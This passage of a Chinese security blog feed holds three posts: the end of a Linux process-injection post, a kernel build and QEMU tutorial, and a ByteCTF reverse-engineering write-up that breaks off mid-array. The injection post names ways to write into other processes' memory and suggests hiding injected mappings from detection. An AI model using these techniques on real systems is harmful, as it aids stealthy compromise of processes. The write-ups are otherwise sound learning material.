&lt;p&gt;proc文件系统中将任意进程的内存都映射到了&lt;code&gt;&#x2F;proc&#x2F;{pid}&#x2F;mem&lt;&#x2F;code&gt;文件，可以通过直接读写这个文件来访问、修改目标进程的内存。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tong-guo-ptrace&quot;&gt;通过ptrace&lt;&#x2F;h4&gt;
&lt;p&gt;Ptrace通过PTRACE_PEEKDATA和PTRACE_POKEDATA功能可以向目标进程读取和写入一个字的内容。但是一次只能读写一个字，效率很低，所以一般也不采用这种方式。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;process-vm-readv-writevxi-tong-diao-yong&quot;&gt;process_vm_readv&#x2F;writev系统调用&lt;&#x2F;h4&gt;
&lt;p&gt;process_vm_readv和process_vm_writev系统调用可以不经过内核内存进行跨进程内存读写。源码位于&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;git.kernel.org&#x2F;pub&#x2F;scm&#x2F;linux&#x2F;kernel&#x2F;git&#x2F;torvalds&#x2F;linux.git&#x2F;tree&#x2F;mm&#x2F;process_vm_access.c&quot;&gt;mm&#x2F;process_vm_access.c&lt;&#x2F;a&gt;。但是实际测试中，由于想要写入的段没有写权限，所以只能读不能写，。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;总结下来，想要动态注入还是需要CAP_SYS_PTRACE比较方便，但一般都是root权限直接注入就行了。还有需要改进的地方有：shellcode中调用的ld的&lt;code&gt;_ld_open&lt;&#x2F;code&gt;可能被hook，因此可以自己写如一个加载器在shellcode中。强对抗环境下，进程可以直接在&lt;code&gt;&#x2F;proc&#x2F;self&#x2F;maps&lt;&#x2F;code&gt;看到可疑映射，可以想办法让加载出来的空间伪装成堆栈。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Linux内核编译</title>
        <published>2021-12-03T00:00:00+00:00</published>
        <updated>2021-12-03T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/linuxnei-he-bian-yi/"/>
        <id>https://richar.top/linuxnei-he-bian-yi/</id>
        
        <content type="html" xml:base="https://richar.top/linuxnei-he-bian-yi/">&lt;h1 id=&quot;linux-5-15-5nei-he-bian-yi&quot;&gt;Linux 5.15.5内核编译&lt;&#x2F;h1&gt;
&lt;p&gt;先去&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;&quot;&gt;官网&lt;&#x2F;a&gt;下载最新内核源码，预先安装好以下这些库&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;sudo apt install libssl-dev libncurses5-dev flex bison libelf-dev libssl-dev dwarves
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;make menuconfig&lt;&#x2F;code&gt;进行编译前配置，主要要打开下面修改选项，这样可以更容易的调试，若要使用llvm,则加上&lt;code&gt;LLVM=1&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;kernel hacking –&amp;gt; Compile-time checks and compiler options –&amp;gt; Compile the kernel with debug info
&lt;&#x2F;span&gt;&lt;span&gt;kernel hacking –&amp;gt; Compile-time checks and compiler options –&amp;gt; Provide GDB scripts for kernel debugging
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了加速编译，可以关闭下面用不到的功能&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;Networking support
&lt;&#x2F;span&gt;&lt;span&gt;Virtualization
&lt;&#x2F;span&gt;&lt;span&gt;File systems -&amp;gt; CD-ROM&#x2F;DVD Filesystems
&lt;&#x2F;span&gt;&lt;span&gt;File systems -&amp;gt; DOS&#x2F;FAT&#x2F;EXFAT&#x2F;NT Filesystems
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编辑&lt;code&gt;.config&lt;&#x2F;code&gt;，关闭校验签名的功能&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;CONFIG_SYSTEM_REVOCATION_LIST=n
&lt;&#x2F;span&gt;&lt;span&gt;CONFIG_SYSTEM_TRUSTED_KEYS=&amp;quot;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;CONFIG_SYSTEM_TRUSTED_KEYRING=n
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;make bzImage&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span&gt; 12
&lt;&#x2F;span&gt;&lt;span&gt;make headers_install INSTALL_HDR_PATH=.&#x2F;headers
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到输出文件&lt;code&gt;arch&#x2F;x86&#x2F;boot&#x2F;bzImage&lt;&#x2F;code&gt;，可以把这个文件单独移出来。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jiao-cha-bian-yi&quot;&gt;交叉编译&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;sudo apt install binutils-aarch64-linux-gnu gcc-aarch64-linux-gnu
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 其中要选择对应硬件信息，qemu上运行可以选择
&lt;&#x2F;span&gt;&lt;span&gt;make ARCH=arm64 CROSS_COMPILE=&#x2F;usr&#x2F;bin&#x2F;aarch64-linux-gnu- menuconfig
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 同上修改.config,关闭签名
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;make ARCH=arm64 CROSS_COMPILE=&#x2F;usr&#x2F;bin&#x2F;aarch64-linux-gnu-&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -j12
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 导出头文件
&lt;&#x2F;span&gt;&lt;span&gt;make headers_install ARCH=arm64 INSTALL_HDR_PATH=.&#x2F;headers
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;bian-yi-busybox&quot;&gt;编译busybox&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.busybox.net&#x2F;downloads&#x2F;&quot;&gt;官网&lt;&#x2F;a&gt;下载最新源码&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;make menuconfig&lt;&#x2F;code&gt;打开&lt;code&gt;Settings -&amp;gt; Build static binary (no shared libs)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;交叉编译时&lt;code&gt;Settings -&amp;gt; Cross compiler prefix &lt;&#x2F;code&gt;设为&lt;code&gt;aarch64-linux-gnu-&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后&lt;code&gt;make &amp;amp;&amp;amp; make install&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;得到生成文件夹&lt;code&gt;_install&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zhi-zuo-zui-xiao-gen-wen-jian-xi-tong&quot;&gt;制作最小根文件系统&lt;&#x2F;h1&gt;
&lt;p&gt;将&lt;code&gt;_install&lt;&#x2F;code&gt;拷贝一份。进入文件夹执行以下命令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;mkdir proc dev sys
&lt;&#x2F;span&gt;&lt;span&gt;cat &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt; EOF &amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; init
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;#!&#x2F;bin&#x2F;sh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;mount -t proc none &#x2F;proc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;mount -t sysfs none &#x2F;sys
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;mount -t devtmpfs devtmpfs &#x2F;dev
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;echo -e &amp;quot;\nBoot took &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;(cut -d&amp;#39; &amp;#39; -f1 &#x2F;proc&#x2F;uptime) seconds\n&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;setsid cttyhack setuidgid 1000 sh
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;umount &#x2F;proc
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;umount &#x2F;sys
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;poweroff -d 0 -f
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;EOF
&lt;&#x2F;span&gt;&lt;span&gt;chmod 755 init
&lt;&#x2F;span&gt;&lt;span&gt;sudo chown&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -R&lt;&#x2F;span&gt;&lt;span&gt; root:root &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一个最小的文件系统就做好了，然后将其打包起来，先进入该文件夹，然后用下面的命令&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;find . &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;cpio&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -o --format&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;newc &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;gzip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -9 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; ..&#x2F;initrd.cpio.gz
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;生成&lt;code&gt;initrd.cpio.gz&lt;&#x2F;code&gt;文件&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qemuyun-xing-he-diao-shi&quot;&gt;Qemu运行和调试&lt;&#x2F;h1&gt;
&lt;p&gt;安装:&lt;code&gt;sudo apt install qemu-system-x86&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;启动：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;qemu-system-x86_64&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -kernel&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;bzImage&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -initrd&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;initrd.cpio.gz&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -append &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;console=ttyS0&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -enable-kvm -nographic
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一些常用快捷键: &lt;code&gt;Ctrl+A X&lt;&#x2F;code&gt;  退出；&lt;code&gt;Ctrl+A H&lt;&#x2F;code&gt;  打开帮助。&lt;&#x2F;p&gt;
&lt;p&gt;aarch64下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;qemu-system-aarch64&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -machine&lt;&#x2F;span&gt;&lt;span&gt; virt&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -cpu&lt;&#x2F;span&gt;&lt;span&gt; cortex-a53&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -smp&lt;&#x2F;span&gt;&lt;span&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -m&lt;&#x2F;span&gt;&lt;span&gt; 2G&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -kernel&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;Image&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -initrd&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;initrd.cpio&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -append &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;console=ttyAMA0&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -nographic
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ccachejia-su-bian-yi&quot;&gt;Ccache加速编译&lt;&#x2F;h1&gt;
&lt;p&gt;安装ccache:&lt;code&gt;sudo apt install ccache&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;ccache&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -d &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;~&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;.ccache &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 配置ccache缓存路径
&lt;&#x2F;span&gt;&lt;span&gt;ccache&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -M&lt;&#x2F;span&gt;&lt;span&gt; 50G &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 配置ccache缓存上限
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;内核&lt;code&gt;make&lt;&#x2F;code&gt;时加上环境变量&lt;code&gt;HOSTCC=&quot;ccache gcc&quot;&lt;&#x2F;code&gt;和&lt;code&gt;CROSS_COMPILE=&quot;ccache &quot;&lt;&#x2F;code&gt;(不要忘记ccache后面的空格)&lt;&#x2F;p&gt;
&lt;p&gt;缓存后一次全新编译只要4min。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>ByteCTF MordernCPP WriteUp</title>
        <published>2021-10-19T00:00:00+00:00</published>
        <updated>2021-10-19T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/bytectf-morderncpp-wp/"/>
        <id>https://richar.top/bytectf-morderncpp-wp/</id>
        
        <content type="html" xml:base="https://richar.top/bytectf-morderncpp-wp/">&lt;p&gt;通过Ghidra分析可以看出main函数里面有大量try catch结构。整个程序的核心控制逻辑都是由try catch来控制的。因此动调的时候尽量都跟进函数里，先分析出程序的大体执行流程。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;bytectf-morderncpp-wp&#x2F;.&#x2F;image-20211019153756139.png&quot; alt=&quot;image-20211019153756139&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以识别几处函数的跳转（图片来自Socular师傅）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;bytectf-morderncpp-wp&#x2F;.&#x2F;5d8c3853-57e7-4d2a-a8e8-1e471c34db22.png&quot; alt=&quot;5d8c3853-57e7-4d2a-a8e8-1e471c34db22&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;动调过后可以发现，两个关键函数为&lt;code&gt;sub_40211C&lt;&#x2F;code&gt;和&lt;code&gt;sub_4024A4&lt;&#x2F;code&gt;。通过常数可以轻松识别出来，&lt;code&gt;sub_4024A4&lt;&#x2F;code&gt;是TEA加密，密钥可以调试得来为&lt;code&gt;byte-ctfwecome~&lt;&#x2F;code&gt;。密文与从&lt;code&gt;0x536800&lt;&#x2F;code&gt;开始的40字节对比。因此可以直接写出解密脚本。&lt;&#x2F;p&gt;
&lt;p&gt;解得原文为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xf0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x69&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xd8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4a&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x32&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfb&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x62&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8e&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xa4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xcc&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xc0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x22&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x63&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xe5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xb6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfd&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x07&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5e&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xe6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfe&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xc6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8d&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfd&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8d&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x51&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xad&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xe4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x68&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfa&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x14&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x78&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;sub_40211C&lt;&#x2F;code&gt;函数先逐字符将flag转化为01串(每个字符对应的01串长度不一定相等)，然后把这个01串8个一组，变成二进制数组，传入TEA加密。&lt;&#x2F;p&gt;
&lt;p&gt;由于这个对应表可能是c++的某种hash表储存，难以直接找到。因此我写了一个IDA的条件断点来输出对应的01串。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;bytectf-morderncpp-wp&#x2F;.&#x2F;image-20211019161241416.png&quot; alt=&quot;image-20211019161241416&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;执行会有如下输出&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;bytectf-morderncpp-wp&#x2F;.&#x2F;image-20211019161515594.png&quot; alt=&quot;image-20211019161515594&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因此多来几次，把所有的可能字符都打出表来，再遍历即可&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;l&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xf0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x69&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xd8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x4a&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x32&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfb&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x62&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8e&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xa4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xcc&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x0c&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xc0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x22&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x63&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xe5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xb6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfd&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x07&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x5e&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xe6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfe&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xc6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8d&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xfd&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x8d&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x51&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xad&lt;&#x2F;span&gt;&lt;span&gt;, 